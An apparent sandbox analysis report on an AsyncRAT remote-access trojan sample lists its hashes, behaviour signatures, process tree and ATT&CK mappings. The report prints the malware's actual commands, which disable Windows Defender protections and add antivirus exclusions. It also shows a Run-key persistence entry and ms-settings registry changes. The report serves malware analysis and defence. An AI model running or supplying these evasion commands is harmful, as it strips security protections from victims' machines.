asyncrat | fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7

General

Target

fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Size

405KB
MD5

c4e10100c5cf7bec2d9d0a1d7203ddb2
SHA1

24a6ecd52fb2165b8563a2853898316851638871
SHA256

fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7
SHA512

ff6bd9bdcb95641c5e19aeef99d9cdddb33b5b309ec358a1a50ba00d2cea9a3fa22a0239b4e09d4a8904d4b7f470bbc621d5e0d60331bc5800709d308faf3202
SSDEEP

6144:0NYzj2jBoO33tq6qbXaYBc1g5aN9KBBBBBBByygHG/bZbYdNpmIU:eYzAq81g5aN+BoKD

Score

10^/10

asyncrat execution persistence rat

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

564 powershell.exe
2752 powershell.exe
2992 powershell.exe
1636 powershell.exe

pid	process
564	powershell.exe
2752	powershell.exe
2992	powershell.exe
1636	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\JkanJjJrabo = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe"	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 9 IoCs

Processes:

fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell\open\command	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Key deleted	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell\open\command	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Key deleted	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell\open	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Key deleted	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell\open	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell\open\command\	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
836	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
2752	powershell.exe
2652	powershell.exe
2620	powershell.exe
2992	powershell.exe
564	powershell.exe
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	836	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	2992	powershell.exe
Token: SeDebugPrivilege	564	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe

pid process

836 fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.execmd.execmd.exe

description	pid	process	target process
PID 836 wrote to memory of 3060	836	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe	cmd.exe
PID 836 wrote to memory of 3060	836	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe	cmd.exe
PID 836 wrote to memory of 3060	836	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe	cmd.exe
PID 836 wrote to memory of 2644	836	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe	cmd.exe
PID 836 wrote to memory of 2644	836	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe	cmd.exe
PID 836 wrote to memory of 2644	836	fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe	cmd.exe
PID 3060 wrote to memory of 2752	3060	cmd.exe	powershell.exe
PID 3060 wrote to memory of 2752	3060	cmd.exe	powershell.exe
PID 3060 wrote to memory of 2752	3060	cmd.exe	powershell.exe
PID 2644 wrote to memory of 2652	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 2652	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 2652	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 2620	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 2620	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 2620	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 2992	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 2992	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 2992	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 564	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 564	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 564	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 1636	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 1636	2644	cmd.exe	powershell.exe
PID 2644 wrote to memory of 1636	2644	cmd.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
"C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe"
1⤵
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:836

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:3060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2752

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k start /b powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -SubmitSamplesConsent 2
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1636

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab8133.tmp
Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
81ec9057223b610190f3431b4afd87e6

SHA1
c2cb781c0611d05bdf1ded03f4202d7de50e331d

SHA256
b230d68cdc94c7537514660c20d96bb4056483d316c70622d3b6ae137a4f598d

SHA512
d6ef72c8822ee67e447cd07eae342030fbcf778ebc051311af1c9f1efbbce4b8274e7e00fac0d9db9d25617438134b5a2323d037739faa8fc68b252090e0cf0d

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/564-48-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/836-2-0x000007FEF5E20000-0x000007FEF680C000-memory.dmp

Filesize
9.9MB

Download
memory/836-1-0x0000000001390000-0x00000000013FC000-memory.dmp

Filesize
432KB

Download
memory/836-0-0x000007FEF5E23000-0x000007FEF5E24000-memory.dmp

Filesize
4KB

Download
memory/836-57-0x000007FEF5E23000-0x000007FEF5E24000-memory.dmp

Filesize
4KB

Download
memory/836-58-0x000007FEF5E20000-0x000007FEF680C000-memory.dmp

Filesize
9.9MB

Download
memory/1636-55-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/1636-56-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2752-18-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/2752-17-0x000000001B3E0000-0x000000001B6C2000-memory.dmp

Filesize
2.9MB

Download
memory/2992-24-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/2992-25-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads